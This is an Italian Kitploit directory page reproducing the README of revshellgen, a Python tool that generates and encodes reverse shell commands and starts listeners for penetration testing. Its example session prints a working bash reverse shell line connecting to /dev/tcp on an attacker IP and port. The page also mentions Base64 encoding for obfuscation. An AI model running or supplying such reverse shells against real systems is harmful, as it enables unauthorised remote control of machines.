Skip to content
KitploitKITPLOIT
StrumentiBlog
Log in
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
revshellgen — Generatore di reverse shell scritto in Python 3. | Kitploit
Strumenti/GitHubGitHub/t0thkr1s/revshellgen
Generazione di PayloadExploitPenetration TestingCommand and ControlRed TeamingGenerazione di ShellcodeSviluppo Payload
GitHubt0thkr1s/revshellgen

revshellgen

Generatore di reverse shell scritto in Python 3.

Vedi Repository
56594241 anno faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Sito web
Condividi

🚀 RevShellGen

Generatore di Reverse Shell

Python License Stars

CI Tests PyPI

Automatizza la generazione di reverse shell con stile
Genera, codifica e cattura reverse shell senza fastidi


Caratteristiche • Installazione • Utilizzo • Tipi di Shell • Contribuire

📖 Informazioni

RevShellGen è un potente strumento da riga di comando che semplifica il processo di generazione di comandi per reverse shell. Niente più ricerche di sintassi, niente più codifiche manuali, niente più mal di testa per la configurazione. Questo strumento gestisce tutto con un'interfaccia intuitiva.

🎯 Caratteristiche principali

  • 🖥️ CLI interattiva - Interfaccia intuitiva basata su menu
  • 🔄 Codifica automatica - Supporto per codifica URL e Base64
  • 📋 Integrazione clipboard - Copia automatica dei comandi generati
  • 🌐 Rilevamento rete - Scoperta automatica dell'indirizzo IP
  • 🎨 Numerosi tipi di shell - Bash, Python, Netcat, PowerShell e altri
  • 🔊 Listener integrato - Impostazione automatica del listener netcat/ncat
  • 🍎 Multi-piattaforma - Supporto completo per Linux e macOS
  • 📚 Guida all'upgrade TTY - Istruzioni complete per potenziare la shell

🚀 Avvio rapido

Opzione 1: Installazione da PyPI

# Installa da PyPI
pip install revshellgen

# Esegui lo strumento
revshellgen

Opzione 2: Installazione da sorgente

# Clona il repository
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen

# Installa le dipendenze
pip3 install -r requirements.txt

# Esegui lo strumento
python3 revshellgen.py  # oppure python3 revshellgen_cli.py

📦 Installazione

Prerequisiti

  • Python 3.6 o superiore
  • pip (gestore pacchetti Python)

Dipendenze

RevShellGen richiede i seguenti pacchetti Python:

PacchettoScopo
pyperclipOperazioni sugli appunti
coloramaColori nel terminale
readcharInput interattivo da tastiera
netifacesRilevamento interfacce di rete

Metodi di installazione

Metodo 1: Usando requirements.txt (Il più semplice)
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
pip3 install -r requirements.txt
Metodo 2: Usando setup.py (Tradizionale)
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
python3 setup.py install
Metodo 3: Ambiente virtuale (Consigliato per isolamento)
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
python3 -m venv venv
source venv/bin/activate  # Su Windows: venv\Scripts\activate
pip3 install -r requirements.txt
Metodo 4: Installazione manuale
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
pip3 install pyperclip colorama readchar netifaces
Metodo 5: Installazione utente (senza sudo)
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
pip3 install --user -r requirements.txt

Note specifiche per piattaforma

🐧 Linux

# Potrebbe essere necessario installare python3-dev
sudo apt-get install python3-dev  # Debian/Ubuntu
sudo yum install python3-devel     # RHEL/CentOS

🍎 macOS

# Installa ncat per un miglior supporto listener
brew install nmap  # Include ncat

💻 Utilizzo

Flusso di lavoro base

  1. Avvia lo strumento

    python3 revshellgen.py
    
  2. Configura la tua reverse shell

    • Seleziona il tuo indirizzo IP (rilevato automaticamente)
    • Scegli una porta (es. 4444, 9001)
    • Seleziona il tipo di shell (bash, python, ecc.)
    • Scegli la codifica (nessuna, URL, Base64)
  3. Il comando generato viene automaticamente copiato negli appunti

  4. Avvia il listener (automatico)

  5. Esegui il comando sulla macchina di destinazione

📸 Screenshot


Selezione Shell

Generazione Comando

🐚 Shell supportate

Tipo di ShellDescrizionePiattaforma
BashReverse shell TCP BashLinux/Unix
PythonReverse shell basata su PythonMultipiattaforma
NetcatReverse shell nc tradizionaleLinux/Unix
Netcat mkfifoNetcat con named pipeLinux/Unix
PerlReverse shell basata su PerlMultipiattaforma
PHPReverse shell PHPMultipiattaforma
RubyReverse shell basata su RubyMultipiattaforma
JavaReverse shell JavaMultipiattaforma
AWKReverse shell AWKLinux/Unix
SocatReverse shell SocatLinux/Unix
Socat TTYSocat con TTY completoLinux/Unix
TelnetReverse shell TelnetLinux/Unix
PowerShellWindows PowerShellWindows

🔧 Funzionalità avanzate

Upgrade della Shell TTY

RevShellGen ora include istruzioni complete per l'upgrade TTY. Dopo aver catturato una shell, lo strumento fornisce:

  • Metodi PTY spawn passo-passo
  • Rilevamento e configurazione della dimensione del terminale
  • Molteplici tecniche di upgrade per diversi ambienti
  • Suggerimenti per la risoluzione dei problemi comuni
  • Comandi di riferimento rapido

Opzioni di codifica

  • Nessuna - Output del comando grezzo
  • Codifica URL - Per sfruttamento di applicazioni web
  • Base64 - Per offuscamento dei comandi

Opzioni del listener

Lo strumento rileva automaticamente e utilizza la variante netcat appropriata:

  • ncat (preferito, dal pacchetto nmap)
  • nc (netcat tradizionale)
  • Supporto per la sintassi nc specifica di macOS

📝 Esempio di sessione

$ python3 revshellgen.py

                         __         __   __                  
  ____ ___  _  __  ___  / /  ___   / /  / /  ___ _ ___   ___ 
 / __// -_)| |/ / (_-< / _ \/ -_) / /  / /  / _ `// -_) / _ \
/_/   \__/ |___/ /___//_//_\__/ /_/  /_/   \_, / \__/ /_//_/
                                           /___/

---------- [ SELEZIONA IP ] ----------
[ x ] 192.168.1.10 su eth0
[   ] 10.0.0.5 su tun0
[   ] Specifica manualmente

---------- [ SPECIFICA PORTA ] ----------
[ # ] Inserisci il numero di porta : 4444

---------- [ SELEZIONA COMANDO ] ----------
[ x ] unix_bash
[   ] unix_python
[   ] unix_nc_mkfifo
...

---------- [ COMANDO REVERSE SHELL ] ----------
bash -i >& /dev/tcp/192.168.1.10/4444 0>&1

[ + ] Comando copiato negli appunti!
[ + ] Avvio listener sulla porta 4444...
Scarica lo strumento